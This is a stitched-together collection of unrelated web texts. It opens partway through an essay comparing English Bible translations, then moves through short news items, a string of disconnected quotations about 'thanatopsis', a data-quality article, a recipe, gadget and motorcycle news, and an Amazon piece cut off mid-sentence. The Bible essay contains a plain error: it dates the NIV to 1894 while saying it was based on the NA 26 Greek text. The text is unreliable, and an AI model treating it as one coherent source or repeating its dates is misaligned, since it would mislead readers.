KJV, appearing in 1881. It had incorporated the new textual discoveries in its NT that have been noted above. In America, it was edited slightly, and then published as the American Standard Version (ASV) in 1901. While finding a better reception in America, it didn’t quite gain the wide acceptance that had been hoped for. Really, its great gift to the world was its Greek text. In 1952, it underwent a major revision, both of text and translation, known as the Revised Standard Version (RSV). In some ways, this was truly the first modern translation which wasn’t simply a revision of the KJV. The RSV garnered quite a bit of rather controversial attention. It had translated the Hebrew text of Is. 7:14 as “young woman” instead of the more traditional “virgin.” While their translation was quite justified, there was an uproar in some hyper-conservative circles claiming that the RSV was seeking to impinge upon the deity of Jesus through this change. As if that wasn’t preposterous enough, several of its translators were (with no warrant whatsoever) accused of being “communist” and “communist sympathizers.” Add to this, the rather emotionally based knee-jerk reaction to some of the many updates in the Greek text which it had incorporated, (e.g. not printing the phrase “through his blood” in Col. 1:14, etc.). One can grasp the controversy that unfortunately resulted. One pastor in the Rocky Mountains even burned the new translation. The revision, the New Revised Standard Version (NRSV), introduced gender inclusive language to a much greater degree than translations had done previously (though not in relation to Deity) as well as updating the Greek and Hebrew texts with modern textual advances, and continues to be used by those who might prefer a more literal translation of the Greek text. ESV In 2001 the English Standard Version (ESV) entered the scene. It was an entirely new translation from the original languages into contemporary English, but one which consciously stood in the lineage of the KJV-NRSV tradition. Leland Ryken had a huge influence on the translation work, and due to his input, the ESV has retained a kind of understated elegance that is quite exceptional. The emphasis on literary excellence is one of the more remarkable features of the translation. Understanding that theological language has a way of being “stabilized” from generation to generation, Ryken sought to retain the language that began with William Tyndale as a fountainhead (where such stabilization was accurate). He departed from that language only where accuracy and smooth modern English required it. Thus, there is a “dignity of expression” to the ESV often lacking in modern translations. Their goal was to produce an “essentially literal” translation into modern English, taking formal equivalence as the starting point and departing from it only where good English demanded such a departure. While most recent translations (HCSB and a few other excepted) have employed ever-increasing gender inclusive language, the ESV deliberately sought to resist that trend. The names of the men who worked on the translation reads like a “Who’s Who” list of modern evangelical scholarship, and the results of their work have become one of the favorite translations of many an English Bible reader. Functional Equivalence Translations The NET Bible is something of an innovation in modern English translation. The acronym “NET” is a bit of a play on words. First, referring to the name of the work “New English Translation” and second, the unique nature of the work which was primarily planned as an Internet translation. It was released online in 2005 and, while available in print, sought to accommodate the modern age by being an online accessible Bible. It is available online, in its entirety, free for all, for all time. This is an inherently ministry-focused model which created a format that immediately solved common problems for those who sought to produce ministry materials which quoted large sections of biblical text. Prior to the publication of the NET Bible, they either had to use older public domain works or obtain difficult permissions from publishers of modern versions which often delayed and sometimes prohibited publication of ministry resources intended to be offered for free online and elsewhere. The NET Bible sought to resolves those difficulties by producing a translation downloadable free online in its entirety. The combined work of over twenty-five prominent biblical scholars, the translation has provided a unique solution to the tensions inherent in translation work. Every translation must balance the competing aims of readability, elegance, and accuracy. The closer a translation moves towards one of these goals, the further they get from the other two. For example, if you glance at the chart of translations above, you see (obviously) that the further one moves to the right, the further he also moves from the left. Deep stuff, I know. This is the inescapable nature of translation work, and every translation inherently faces these tensions. Typically, a translation must land somewhere imperfectly between these competing goals. The NET Bible sought a unique solution. They provide in the actual text a more functionally equivalent translation which is more readable while still seeking an elegance balanced with readability. But then in the footnotes (at important points) they provide an explanation of the interpretive, textual, and translational difficulties of the passage and give a more literal rendering of the text as well as occasionally dealing with general Bible study issues. This allows them to maintain the goal of accuracy. There are over 60,000 such notes. That’s more than any other translation ever produced; and because of the Internet format, they can continue to be updated and added to. Since these notes are provided by the translators themselves, they provide a unique way to “look over the shoulders” of the translators as they did their work, which is not available in any other English translation. Overall, the NET Bible is a unique translation, which has met the competing goals of translation in a hitherto impossible way, and has a clear focus on ministry values. It will no doubt continue to be a favorite among many Bible students. NIV/NIV 2011 In 1894 the complete New International Version (NIV) was published. The release immediately stressed the international character of the work. Employing over 100 translators from America, Canada, Great Briton, Australia, and New Zealand, the translators aimed to produce an entirely new translation that would represent a widely interdenominational and truly international perspective. Taking the “I” in the name very seriously, they sought to make the translation simple enough that it would be easily usable even by a student for whom English was a second language. Thus, they avoided technical theological words (and any words with too many syllables), and sought to employ a more colloquial style. The translators all professed their “commitment to the authority and infallibility of the Bible as God’s Word in written form” which struck a chord with some conservative readers who had been suspicious of translations since the RSV. Such a commitment sought accuracy to the original but also a clear, smooth English style. Thus, three separate committees reviewed both the translation and the style of the English. Further, while using the standard NA 26 Greek NT as its base, the committees occasionally disagreed with the textual choices of the NA, and so, actually translated an eclectic text which differed from the standard text at many points. Needless to say, such an intricate process involving so many scholars was time-consuming, and expensive. It has been estimated that the total editorial cost was around eight million dollars. The NIV almost instantly rose to be the most widely used translation (perhaps excepting the KJV) and continues to top the charts of the best selling translations. While the NIV has faced a few minor revisions (NIVR, and TNIV), they didn’t take on as widely. In 2011 the NIV received a full makeover that is definitely here to stay in the mainstream. Continuing to update the translation to be current with contemporary English usage, the committee also incorporated a greater degree of gender inclusive language. The NIV 2011 will likely continue to be one of the most widely sold and used English translations. NAB/NJB The New American Bible (NAB) was a production in 1970 of the Roman Catholic Church, but unlike several previous such productions, was much more ecumenical in its approach. One third of its translation committee was Protestants, and the translation shows the influence of the cooperation between both traditions. The revisions in 1986 and 1991 also introduced slightly more gender inclusive language. GNB/REB In 1976 the Good News Bible (GNB) arrived as the culmination of its Today’s English Version TEV) predecessor. It sought to directly apply the principles of dynamic equivalence stated by Eugene Nida, and was one of the first translations to do so in such an intentional way. The Revised English Bible (REB) was published as the revision of the NEB in 1989. It moved the translation away from much of its colloquial language and more towards the middle of our chart. The REB also used slightly more gender inclusivity in its language and was much more consistent in its translation of theological language. JB/NLT J. B Phillips originally published his translation as separate entities, but they were eventually published as the single volume The New Testament in Modern English in 1958. His purpose was to convey the sense of the original in a way that would have the same effect on the modern readers that the original writings had on theirs. He sought to set aside the traditional language that had been associated with English Bibles since Tyndale and to translate the text as one would translate any document from a foreign language, using the same freedom of style that would normally be employed in such an endeavor. The result garnered great praise from those who could see the meaning of the text being made plain. The eminent scholar F. F. Bruce stated that, in his time, the translation of the epistles was probably the best available for the average reader. The New Living Translation (NLT), originally a revision of the Living Bible, actually became an entirely new translation in 1996. Based on the original languages, it primarily used a dynamic equivalence method. It thus departed significantly from the LB and became an altogether different translation. Recognizing that the original documents of Scripture were intended primarily to make an impact when read aloud, the NLT has employed a unique focus on recovering that impact in the public reading of the translation. Like the ESV and other modern translations, the translation team enlisted scholars to translate the books of the Bible who were specialist in exegesis and theology of each particular book. They employed such notable translators as Daniel Block, Tremper Longman III, Craig Blomberg, Darrell Bock, D. A. Carson, Douglas Moo, and Tom Schreiner. Its 2007 revision is truly remarkable as a functionally equivalent translation. NEB With a wide variety of denominational input from a variety of British traditions, the New English Bible (NEB) sought in 1970 to leave behind traditional language and create a truly new English translation that did not simply recreate the traditional biblical English. It was in many ways simply a more functionally equivalent version of the RSV. With the notable C.H. Dodd overseeing the work and as notable a figure as C.S. Lewis contributing to its English style, the NEB was instantly popular and remains a favorite for many. Free Translation Living Bible Kenneth Taylor didn’t originally intend to produce a new translation. As a father who wanted to render the great stories of the Bible in a way that his young children would understand, he began to take the ASV and more freely paraphrase its meaning into simple language that would help the ideas be easily grasped by even young children. Eventually, his renderings became wildly popular, and he completed an entire Bible and published it as The Living Bible in 1971. The huge success of his work prompted him to start Tyndale House Publishers, and the free paraphrase nature of his work remained immensely popular in the ‘60s and ‘70s. It was especially popular among young people and many who were less acquainted with traditional biblical language. While still used, one of the major weaknesses of his paraphrase was that it was a paraphrase of an English translation, rather than a paraphrase of the original languages themselves. While Taylor’s work was immensely popular for its ability to bring the concepts of the Bible into idiomatic English, the fact that it was in fact a paraphrase rather than a translation from the original languages severely limited its value. The Message In 2002 Eugene Peterson produced a new free translation which was of much greater scholarly aptitude. Much like Taylor before him, Peterson didn’t originally intend to produce a new translation. He simply began to write out a more idiomatic translation of the books he was preaching in the church he pastored. He had the academic background (from Regent College) to work directly from the original languages, and he submitted his work to the review of a group of other scholars. The result was a free translation much more accurate to the original languages. Rather than translating the words or even the exact ideas of the original languages, The Message sought to reproduce the effect of the original. It used idioms that were current, fresh, and part of the normal speech of everyday life. The language is thus much like that in which you would chat with friends and doesn’t have an “airy” feel at all. As we saw above, Deissmann had shown already that this common language was in fact the conversational speech in which the NT was originally written. While a work like The Message has immense value in helping the reader “feel” the force of the original in fresh language that most translations would prohibit, the reader also must keep in mind that a more free translation has inherently exercised a greater degree of interpretation before he even reads it. Some Concluding Principles Choose the Translation You Will Read At the end of the day, almost any translation of the Bible can be a good one. They each have their strengths; they each have their weaknesses. When it comes to the common question, “Which translation is the best one?” the answer, in some ways, is simply, “Whichever one you will read.” If a Bible never leaves your shelf, its merits and pitfalls don’t really make much difference. I would recommend something near the center of the chart for a regular reading Bible. But really, whatever Bible you will use regularly is the one that is best for you. Study from Multiple Translations Recognize that all translation is interpretation. While almost all translations are good and accurate, when reading the Bible in English, you are already removed somewhat from the Bible as it was originally written. What you are reading inherently contains the interpretive choices of the translators. This is not a bad thing, but it needs to be recognized. While I recommend having one “primary reading Bible,” I would suggest that one of the best habits you can form is to never study from only one translation. When you are really digging into Galatians for that Bible study, read the passage from a few different translations. Take note of where they differ. The differences you see between them will give you a good indication of where there may be a textual difficulty in the originals or where there may be several possible ways to render the original language into English. You’ll get the best understanding of the passage if you compare translations from opposite ends of the spectrum. Compare a more functionally equivalent translation with something on the more formal end of the spectrum. Most of these translations are now available free in online formats (e.g. the YouVersion Bible app). Use a Good Study Bible Finally, I would recommend that you make use of a good study Bible. The additional information you will glean from the study notes will enrich your study in ways that you can’t imagine. The NIV study Bible is excellent. The ESV study Bible is one of the most helpful such tools I’ve ever seen. The NET Bible notes are unsurpassed in text-critical questions. If you desire a “TR” translation, the “King James Study Bible” from Thomas Nelson would be right up your alley. Whatever you choose to use, a good study Bible can give you a wealth of background information that you won’t get by reading only the Bible. Conclusion So, what did I end up choosing? How did a former KJV only preacher choose a translation? After looking though quite a few, I have opted to use the ESV Study Bible as my primary reading Bible. I also regularly compare the KJV, the NET, and the NIV 2011, and I occasionally consult the NLT and the Message. But my choices shouldn’t necessarily be yours. You should make your own decision, and whatever you choose to use, read it. I am reminded of when I read through the story of Augustine’s conversion in The Confessions. It was one of the more powerful moments I’ve experienced in my own Christian walk. As he wrestled with his own depravity, having for so long been afflicted by his own wretchedness, he found himself sitting alone in a garden with his bitter tears pouring out under a fig tree. As he wept, he heard the voice of a child nearby (perhaps playing games as children do), repeating the phrase, “take up and read; take up and read.” Interpreting the words as a “command from heaven to open the book,” he picked up a copy of the book of Romans, began to read, and found in the Scriptures the light of the glorious gospel of Jesus Christ. And none of us has ever been the same since. As he heard so long ago, I encourage you with advice that will change the life of all who will heed it; Tolle Lege, (Take up and read) Tolle Lege (Take up and read) -Colorado State Senator Kevin Lundberg, R-Berthoud, holds up a black ten-round rifle ammunition magazine with a green capacity extender, as he argues against one of several gun control bills before the Colorado Legislature, at the State Capitol, in Denver, Monday March 11, 2013. Colorado Democrats are advancing gun-control proposals in a state balancing a history of heartbreaking shootings with a Western heritage where gun ownership is treasured by many. (AP Photo/Brennan Linsley) DENVER (AP) -- Fiercely debated ammunition limits have cleared Colorado's Democratic Legislature and are on their way to the governor, who has said he'll sign the measure into law. The 15-round magazine limit would make Colorado the first state outside the East Coast to ratchet back gun rights after last year's deadly shooting sprees. Colorado's gun-control debates have been closely watched because of the state's gun-loving frontier heritage and painful history of mass shootings. Colorado lawmakers decided to keep negotiating on a bill to expand background-check requirements to most private and online gun sales. The measures are part of a Democratic gun control package that has been the focus of much debate, drawing thousands to the state Capitol over the past week. The GOP has decried the whole package as a bad reaction to last year's horrific shootings in Newtown, Conn., and at a suburban Denver movie theater. ___ Kristen Wyatt can be reached at http://www.twitter.com/APkristenwyatt -Pope Tawadros II has arrived in Jerusalem in a historic visit that marks the first time that a head of the Egyptian Coptic Orthodox Church has visited the city since Israel's occupation of East Jerusalem in 1967. The website of the Coptic Church in Jerusalem said the pope's only reason for the visit on Thursday was to attend the funeral prayer of the Bishop of Jerusalem Anba Abraham, the head of the Coptic Church in the Holy Land, who died on Wednesday. The late Egyptian Pope Shenouda III had issued a ban in 1979, in the aftermath of the Camp David peace accords between Egypt and Israel, preventing Egyptian Coptics from pilgrimage to Jerusalem while under Israeli occupation. Father Boules Halim, the spokesman for the Coptic Church in Cairo, said that the visit was arranged for an "exceptional situation". Halim told the AFP news agency that the visit will not change the stance of the Egyptian Church towards the occupation which it historically opposes. "The stance of the Coptic Orthodox Church concerning travelling to the Holy Lands will always remain the same. The Pope's visit came as an exception," said Halim. "The position of the church remains unchanged, which is not going to Jerusalem without all our Egyptian [Muslim] brothers." The Egyptian government does not ban Egyptian citizens from visiting Israel and encourages normal relations between the two countries. Shenouda III, who was head of the Egyptian Coptic Church for more than 40 years, until his death in 2012, was against normalising relations with Israel despite the peace treaty between the two countries. -The pie list swelled; the richer puddings had vanished; the sausage, with his drapery wrapped about him, barely lingered in a pleasant thanatopsis with the buckwheats and the sweet but doomed maple. 1) In Gopher Prairie there is Thanatopsis Club ( thanatopsis = Greek "vision of death"; a name that was probably suggested by the poem which William Cullen Bryant, aged sixteen, wrote after reading Robert Blair's The Grave and William Cowper's The Task): this is the main cultural force of the city, led by the most eminent ladies, who attend conferences on the English poets. WILLIAM CULLEN BRYANT, Thanatopsis , in THE POETICAL WORKS OF WILLIAM CULLEN BRYANT 21, 21 (D. 9) John Lennon and Malcolm Foley, Dark Tourism: the Attraction of Death and Disaster (London: Continuum, 2000); Valene Smith, "War and Tourism: an American Ethnography," Annals of Tourism Research 25 (1998): 202-227; Anthony Seaton, "From Thanatopsis to Thanatourism: Guided by the Dark," Journal of International Heritage Studies 2 (1996): 234-244. The term derives from the ancient Greek, thanatopsis , which means 'contemplation of death'. The capsule held more than 50 items, including a piece of wood from Independence Hall, a copy of Thanatopsis , an 1818 poem by William Cullen Bryant said to be the first to contain the word Oregon, and a souvenir badge welcoming the President to Portland. Ishmael experiences other tropes or turnings from his thanatopsis mood, as when in the Spouter Inn he is terrified by the prospect of a cannibalistic, harpoon-toting savage for his bedmate, only to find a bosom friend who indirectly saves his life; as when in the chapel, staring at signs of his seemingly foreordained death in the black-bordered tablets commemorating sailors lost at sea, he finds unaccountably that his "Faith, like a jackal, [that] feeds among the tombs, [. And finally, it means to give oneself back to the place, as the speaker affirms in the opening lines; elsewhere Berry expresses this ecological thanatopsis as "slowly falling / into the fund of things . -Many businesses are planning out their CRM data quality strategies for 2015, yet some will fail to win the battle because their approach is simply wrong. According to Experian’s Data Advantage Report from last year, more than 99 percent of organizations had a plan, but 94 percent still had data errors. That figure was an increase on the previous year’s total too. The takeaway from the report is simple: Data quality is a battle that requires stamina and commitment. Fighting the battle means constantly working towards better quality data to improve efficiency, customer satisfaction, reporting and growth. Winning the battle means approaching the issue effectively, using the right techniques. The Losing Battle Data quality initiatives require investment and an ongoing focus on improvement. Many businesses see data quality as a cash drain, not a cash gain. To cut costs, some businesses try to cut back on spending by using members of staff to carry out complex correction and error detection. The report found that 27 per cent of businesses are using manual database editing to tackle data quality. (While 40 per cent of businesses said that they would be using dedicated software for cleaning databases, this was a drop compared to previous years’ figures.) Here’s the fact: Cutting corners is not a good battle tactic. Manual correction is not fast enough, or accurate enough, to stem the flow of bad data that is being manually entered into other areas of the system. Bad data is also introduced through bad merges, incorrect character sets and the connection of different systems that have different standards and norms. It is also impossible for human reviewers to find fuzzy matches, phonetic matches and duplicate records when scouring a database line by line. Data quality software does the opposite. It automatically catches new data problems at the input stage before they are committed to a database or customer relationship management system (CRM). It can detect and remove the duplicates that already exist. And as businesses work towards a situation where all data is held in one location, they also cut down on the manual import and export operations that are so problematic. Persistence Data quality benefits are well understood in business: 63 percent of respondents wanted to increase efficiency 53 percent aimed to improve customer service 51 percent wanted to make better decisions based on their data 43 percent said they needed to profile customers more effectively 37 percent were working towards a single customer view Winning the battle has almost become a utopian goal, but it is not an unachievable one. Going into battle is daunting, and maintaining the fight on an ongoing basis can be a challenge for everyone, particularly when every single typo generates work and cost. But struggling through with manual editing is a false economy. We are handling more data than ever, and we are responsible for handling it well. Better data means a better return on investment: better response rates, better customer retention, better productivity. Once you’ve won the battle and have a grip on your data, you’ll realise that cost-cutting is actually the worst battle tactic you could use. About the Author Armed with qualifications in mechanical engineering, business and finance, and experience of running engineering and CRM businesses, Martin founded a successful CRM (Customer Relationship Management) software house in 1992, supplying systems to large, medium and small sized companies. Developing a deep understanding of the value of data, he became concerned that many organisations were making decisions based on poor quality data. To fill this gap in the market, he sold the CRM Company and started DQ Global in 2002 to provide data quality solutions, with a mission to detect, correct and prevent data defects which undermine business decisions. Since then, DQ Global has become a global market leader, delivering enterprise-wide data solutions utilising leading edge technology. Martin has gained a wealth of knowledge and experience and has established himself as a Data Quality Improvement Evangelist and an industry expert. -Google's Chrome is on the brink of replacing Firefox as the second-most-popular browser, according to one Web statistics firm. Data provided by StatCounter, an Irish company that tracks browser usage using the free analytics tools it offers websites, shows that Chrome will pass Firefox to take the No. 2 spot behind Microsoft's Internet Explorer (IE) no later than December. As of Wednesday, Chrome's global average user share for September was 23.6%, while Firefox's stood at 26.8%. IE, meanwhile, was at 41.7%. The climb of Chrome during 2011 has been astonishing: It has gained eight percentage point since January 2011, representing a 50% increase. During that same period, Firefox has dropped almost four percentage points, a decline of about 13%, while IE has also fallen four points, a 9% dip. That means Chrome is essentially reaping all the defections from Firefox and IE. If the trends established thus far this year continue, Chrome will come close to matching Firefox's usage share in November, then pass its rival in December, when Chrome will account for approximately 26.6% of all browsers and Firefox will have a 25.3% share. StatCounter is not the only Web metrics company that publicly posts browser share statistics, however. Data provided by U.S.-based Net Applications, for example, shows a much bigger gap between Firefox and Chrome: In its numbers for August, Net Application had Firefox with a 22.6% share of desktop browser usage, and Chrome at 15.5%. Using Net Applications numbers, Chrome could have a 17.8% share by the end of 2011, short of Firefox's projected 22.3%. But if the pace of change lasts, Chrome should pass Firefox on Net Applications' chart by mid-2012. Because Net Applications weights its numbers to more better estimate usage share in countries from which relatively few users navigate to sites it monitors, the company's data theoretically paints a more accurate picture because it factors in the huge Chinese market. Some browser makers -- Microsoft in particular -- cite that as a reason why they regularly defer to Net Applications' numbers. Not coincidentally, Net Applications pegs IE with a much higher share -- 55.3% -- than do other metrics firms such as StatCounter. Both Net Applications and StatCounter, however, have traced the same trends: usage declines of IE and Firefox, and a corresponding climb in Chrome. Chrome may pass Firefox as the world's second-most-popular browser by the end of the year. (Data: StatCounter.) Gregg Keizer covers Microsoft, security issues, Apple, Web browsers and general technology breaking news for Computerworld. Follow Gregg on Twitter at @gkeizer, on Google+ or subscribe to Gregg's RSS feed . His e-mail address is gkeizer@computerworld.com. See more articles by Gregg Keizer. -Prep Time: 10-15 minutes Cook Time: 40 minutes Pretty patties resting on a bed of oven roasted carrots. Doesn’t that sound delicious? I guess I’m having a ‘vegetable patties’ period. These are wonderfully soft and crispy at the same time, with a ton of options to spice them up. Since potatoes and cauliflower have a very mild taste, you can play around with herbs and spices. For about a dozen patties you will need: 4 medium potatoes, peeled and chopped ½ medium cauliflower or whole if it is small, cut into florets 2 tablespoons coconut oil ½ teaspoon salt ¼ teaspoon turmeric ¼ teaspoon ground red paprika ½ teaspoon dried basil (or a few leaves if you have the option of fresh basil, finely chopped) ¼ teaspoon dried oregano (again, use fresh herbs if you have the option, a few leaves will do the trick) 1 cup vegan bread crumbs (You can make your own if you bake bread at home – leave it to dry and process it in your blender/food processor.) Other options for flavor: garlic, sautéed onions, soy sauce, curry, thyme… To make: Cook the potatoes and cauliflower, potatoes need about 15 minutes, cauliflower 10 minutes – I just add the cauliflower 5 minutes later and cook until soft. Strain and mash well, try to break as many lumps as possible. Season with salt and other spices or herbs to your liking and start adding the bread crumbs a few tablespoons at a time. The mixture will be soft but keep its form. Taste and adjust if necessary. Use an ice cream scooper as a measuring tool to make the patties uniform in size and shape. Flatten them into discs and roll in bread crumbs. If you are not using them all just freeze them on a tray lined with baking paper and later when frozen transfer them into a bag to save on space in the freezer. You can fry these in a pan with a bit of coconut oil for 3-4 minutes on each side, but be careful: they soak up a lot of it. You could also bake them in the oven (375 F 15-20 minutes). The bed of carrots on which these heavenly patties rest are just organic carrots washed and sliced, tossed together with some olive oil, salt and thyme. Set on a baking tray lined with baking paper, 15-20 minutes at 375 F. Bon appetit! -NO, it’s not Honda’s long-promised RCV road bike but in the meantime the newly-revealed Ronax 500 is the closest thing to a GP bike you’re ever likely to be able to buy. As you can probably tell from the ‘500’ name, it’s not taking its inspiration from the latest generation of four-stroke monsters but from an earlier era of more delicate, knife-edge 500cc two-strokes. Yes, it does look a lot like an NSR500, doesn’t it? And yes, they’re making 46 of them, which is a number that’s reminiscent of someone who perhaps took the NSR500 to its last world title. But you’ll find no official mention of that chap’s name on the Ronax website. In terms of spec, the bike isn’t far from an NSR either, even if it is all actually the work of the guys at German firm Ronax. The 499cc motor is an 80-degree V4 with twin contra-rotating crankshafts, fuel injection and a six-speed cassette gearbox. At 160bhp, it’s a tad down on the 180-200bhp that the last of the 500cc strokers were making, but it’s supposed to be road legal and will hopefully last more than a race distance, too, so we’ll let them off for that. What’s perhaps harder to swallow is the price. It’s €100,000. Plus VAT. Plus shipping. Let’s face it, you’ll get no change from £100,000 once you’ve landed one in the UK. Call it two-and-a-half Desmosedici RRs. Or an NR750 and enough change to get a brand new S1000RR for daily use. Or, possibly, one of Honda’s RCV road bikes as and when they get around to actually making them. But then again, maybe if you’ve got that sort of change sitting around, you’ll be in a position to simply get one of each. For more details, see Ronax. -TOULOUSE, France – Satellite builder Thales Alenia Space and six partners are investing their own money, plus grants from the French government, into the Stratobus high-altitude platform station (HAPS) on the assumption that the development yields a contract in 2017, the program manager said. The Stratobus backers are focusing only on Earth observations in the tropical regions for the moment, but expect to add telecommunications payloads once international regulators have authorized HAPS systems to operate in Ka-band. Current International Telecommunication Union (ITU) rules limit HAPS systems to the Q- and V-bands for fixed services communications, between 47 and 48 GHz. These higher frequencies are not well suited to rainy conditions. The U.S. government is leading the effort at the ITU to broaden the frequency regime for command and control of high-altitude drones to Ka- and Ku-band, already in mainstream use by satellite fleet operators. It is unclear whether HAPS could be covered under this. The U.S. position met with substantial resistance – for reasons that were never made clear — at the last quadrennial meeting of global regulators, WRC-15, which agreed only to create a study group to examine the issue in view to a decision at WRC-19. WRC-15 agreed to study future use of Ka-band for HAPS. Until additional frequencies are made available, Thales Alenia Space’s Stratobus will limit itself to optical and radar Earth observation, said Jean-Philippe Chessel, head of the Stratobus project. “If [the ITU decision at WRC-19] is positive, it will clearly open the telecommunications market for HAPS and for Stratobus,” Chessel said June 30 at the Toulouse Space Show. The French-Italian Thales Alenia Space announced Stratobus in April following the receipt of 17 million euros ($19.2 million) in financing from France’s PIA Investing in the Future public bond fund, plus 3 million euros from four regional governments in France that are home to the Stratobus industrial team. Chessel said the industrial partners are financing 60 percent of the development over the next two years, with French government support totaling 40 percent. The commercial version of Stratobus will measure 100 meters in length, as long as an Airbus A380, and 33 meters in diameter at its widest point. Its four electric-powered engines are designed to keep the platform steady at 20 kilometers in altitude in headwinds of up to 90 kilometers per hour. Air density at that altitude is less than half what it is on the ground. It will carry a payload, typically a radar or optical Earth observation sensor, weighing up to 250 kilograms, that will image an areas of between 250 and 300 kilometers for radar applications, and 40-60 kilometers for optical. The top half of Stratobus is transparent material. Attached to the underside of its roof is a solar panel drawing power both from the Sun above, and below from a row of solar power concentrator mirrors lining the floor. The space industry last viewed solar concentrators on the first models of Boeing’s large 702 telecommunications satellite platform. A design flaw caused the concentrators to damage the solar panels and resulted in reduced power, causing large insurance claims for the first batch of satellites. Boeing subsequently dropped the concentrator design, although in the years since then the damage to the satellites in terms of reduced operational life turned out to be less than originally feared. Chessel said the concentrators will triple the amount of solar illumination onto the solar array and provide the 150 kilowatts power day of total power demand for Stratobus, of which 5 kilowatts will be reserved for the payload. Stratobus’s volume is 50,000 cubic meters. Chessel said the pressurized gas will be either helium or hydrogen, with hydrogen preferred because it is less costly to produce and is lighter, saving 300 kilograms over helium. But hydrogen has the downside of requiring special safety procedures. Operating in the tropics with sufficient sunlight year-round, Stratobus could remain on station for up to five years, Chessel said. At more-northern latitudes, the platform would be limited to the spring and summer months and could operate for eight months. Chessel said the current budget is enough to carry the project’s development for two years. A critical design review is planned for 2018, after which a full-size test model could be flown in 2020. Thales Alenia Space has begun the process of Stratobus flight certification with the European Aviation Safety Agency. A new certification category is needed because HAPS platforms like Stratobus fall somewhere in between the existing regulations for balloons and drones. “We expect to have our first contract in 2017 to develop the first proto-flight model,” Chessel said. “It will be paid by the first customer and lead to the production of future flight models. Stratobus is a low-cost product, an order of magnitude less costly than a satellite, plus the fact that we don’t have a launcher. We can take off and land by gas management and we don’t need space-qualified components. Of course, this is a regional product only. It doesn’t provide global coverage like a satellite. The prospects we have today suggest we are going in the right direction in terms of product.” -Apple's iOS 9.3 beta introduces major new features like Night Shift , but there are also dozens of little tweaks to be discovered in the operating system update. It appears that one of those minor changes applies to Wi-Fi Assist, adding a much-needed feature that allows users to see just how much data it's using.Wi-Fi Assist data usage can be checked within the Settings app by choosing the Cellular section and scrolling down to the Wi-Fi Assist option. Next to the toggle that turns the feature on and off, there's now a data usage number that displays how much data has been consumed when it is in use.Wi-Fi Assist was first introduced with iOS 9. It's a feature that allows an iPhone to seamlessly switch over to a cellular connection whenever a local Wi-Fi connection is weak. Enabled automatically when updating to iOS 9, Wi-Fi Assist proved to be unpopular with users who claimed it was eating up a lot of data . One recent news story even accused Wi-Fi Assist of causing a teenager to receive a cell phone bill for upwards of $2,000.Concerns about Wi-Fi Assist led Apple to publish a support document on the feature, explaining how it works and assuring users that data usage should only be a "small percentage higher" than previous usage. Wi-Fi Assist only turns on in a limited number of circumstances and won't activate when data roaming, when apps are downloading background content, or when using third-party apps that stream audio or video.Despite Apple's reassurances about Wi-Fi Assist, unhappy customers filed a $5 million class action lawsuit over the feature, with the plaintiffs claiming they were subjected to overage charges on their iPhones after updating to iOS 9. The lawsuit also claims Apple did not do an adequate job explaining the feature when iOS 9 was released.Wi-Fi Assist is available on any iOS device running iOS 9 or later, with the exception of the iPhone 4s, the iPad 2, the third-generation iPad, and the original iPad mini. Wi-Fi Assist can be turned off using the Settings app for those who don't want to risk using extra data. -NComputing has officially launched the RX300 which is Raspberry Pi 3 based thin client that can run Windows and Linux. It can utilize the cloud, is dual-screen capable and has Wi-Fi. The RX300 will retail for $99 and that price will include a one-year subscription to NComputing’s VSpace 10 platform. For those who are unaware, NComputing specializes in creating virtual desktops to multiple machines. Using this technology, a person will make it easier to manage multiple computers from a single host server. Obviously, larger companies may find it easier to do this manually, but the low price tag makes this an attractive option for mid-range companies that have multiple computers to manage. According to NComputing’s press release, the RX300 will offer full-motion HD video playback, four high-speed USB ports, wi-fi and bluetooth, access to both vSpace and the Linux OS, 8GB of internal memory and 1 GB of RAM, a one-year subscription to VSpace 10, and be compatible with Vcast streaming. In terms of power consumption, NComputing has stated that the RX300 will use less than 5 watts of energy and will feature a sleep mode to save power. Additional options and features will be available for an extra charge and once the yearly subscription has expired, users will be required to purchase a new one to access VSpace 10. -ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account Arsenal have agreed a new partnership with Universal Pictures that could see the club’s players appear in promotional videos for the latest blockbuster films. The deal will see Arsenal promote a number of the film company’s upcoming releases, including Despicable Me 3. Replicas of the stars of that movie – Minions – have already been involved in promotional activity at the Emirates, where they were paraded on the pitch ahead of the final game of the season. “This partnership with Illumination and Universal Pictures is the first of its kind for the club and one we are extremely excited about,” said Vinai Venkatesham, Arsenal’s chief commercial officer. “It’s a fantastic opportunity for both the club and the studio to be introduced to new audiences and we are already working closely with them to engage with our supporters in the UK and Ireland around their upcoming film releases.” Star names such as Alexis Sanchez and Mesut Ozil could – if they are still at Arsenal – even be asked to take part in unique content or promotional videos for movies. Arsenal are not the first team to agree such a partnership, with Manchester United having had a deal with 20th Century Fox that has seen Wayne Rooney appear in a trailer for X:Men Apocalypse and mascots painted blue for promotional activity, neither of which were well-received by the general public. Universal have also been working on a documentary film about Arsenal’s famous 1989 league title win at Anfield. -The inhabitants of the Crimean peninsula have found a way out of the intricate situation in economics they have had to deal with for 6 months – the Bitcoin payments. As a result of the referendum on the status of Crimea held on March 16, 2014, when the majority of the Crimean population voted for integration of the region into the Russian Federation, the local residents are reported to have started experiencing difficulties accessing essential services, including banking. Michael Chobanian, head of the Ukrainian bitcoin agency KUNA, sees the de-facto separation of Crimea from Ukraine the main reason why the Crimeans started to actively use BTC to purchase goods and items on the Internet. According to Chobanian, Crimea remains completely outside of the international banking system, which means there is no chance at all to conduct any foreign economic activity on the peninsula. The only solution for shopping, payments and financial transactions is the Internet. If you go the usual way, you’ll end up in a bank, standing in a queue to open an account and make a ruble deposit. Then you would have to wait hours in another queue in order to get to the mainland. Once in Krasnodar Krai, you would need to go to another bank, open an account there, and then transfer your funds from a Crimean account to the one you opened in a Krasnodar bank; only then will you eventually be able to effect your payment. “Seems unrealistic for busy people. That is why my colleagues from Sevastopol and Simferopol switched to Bitcoin payments; they purchase BTC with rubles and then pay for whatever they need with Bitcoin” – Chobanian sums up. -After dropping hints for months, Amazon is finally releasing the Amazon Fire TV Stick in Germany, Austria, and the UK. Pre-orders are now live for all three countries, and the device will be released on April 15th. The Fire TV Stick will sell for £35 in the UK and 39 EUR in Germany and Austria. Just like the Stick’s US launch, Prime members can pre-order the device now at a discounted price. Existing Prime members in the UK will pay just £19 and German Prime members will pay just 19 EUR if they place their order in the next 2 days. What’s different from the US release is the availability of an even better price for new Prime members. If you sign up for a new Prime membership, you can pre-order the Fire TV Stick for just £7 in the UK and 7 EUR in in Germany and Austria. Amazon will be enforcing that new Prime members pay their 